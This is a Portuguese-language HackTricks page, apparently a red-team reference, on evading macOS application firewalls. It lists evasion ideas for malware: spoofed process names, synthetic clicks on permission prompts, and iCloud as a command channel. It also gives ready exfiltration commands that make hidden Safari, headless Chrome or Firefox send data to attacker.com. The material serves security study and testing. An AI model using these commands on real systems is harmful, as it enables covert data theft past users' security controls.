macOS Bypassing Firewalls

Reading time: 3 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

TĂ©cnicas encontradas

As seguintes técnicas foram encontradas funcionando em alguns aplicativos de firewall do macOS.

Abusando nomes de lista branca

  • Por exemplo, chamando o malware com nomes de processos bem conhecidos do macOS como launchd

Clique Sintético

  • Se o firewall pedir permissĂŁo ao usuĂĄrio, faça o malware clicar em permitir

Use binĂĄrios assinados pela Apple

  • Como curl, mas tambĂ©m outros como whois

DomĂ­nios bem conhecidos da Apple

O firewall pode estar permitindo conexÔes a domínios bem conhecidos da Apple, como apple.com ou icloud.com. E o iCloud pode ser usado como um C2.

Bypass Genérico

Algumas ideias para tentar contornar firewalls

Verifique o trĂĄfego permitido

Saber o trĂĄfego permitido ajudarĂĄ vocĂȘ a identificar domĂ­nios potencialmente na lista branca ou quais aplicativos tĂȘm permissĂŁo para acessĂĄ-los.

bash
lsof -i TCP -sTCP:ESTABLISHED

Abusando do DNS

As resoluçÔes de DNS são feitas através do aplicativo assinado mdnsreponder, que provavelmente serå permitido contatar servidores DNS.

https://www.youtube.com/watch?v=UlT5KFTMn2k

Através de aplicativos de navegador

  • oascript
applescript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
  • Google Chrome
bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
  • Firefox
bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
  • Safari
bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"

Via injeçÔes de processos

Se vocĂȘ puder injetar cĂłdigo em um processo que tenha permissĂŁo para se conectar a qualquer servidor, vocĂȘ poderĂĄ contornar as proteçÔes do firewall:

macOS Process Abuse

ReferĂȘncias

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks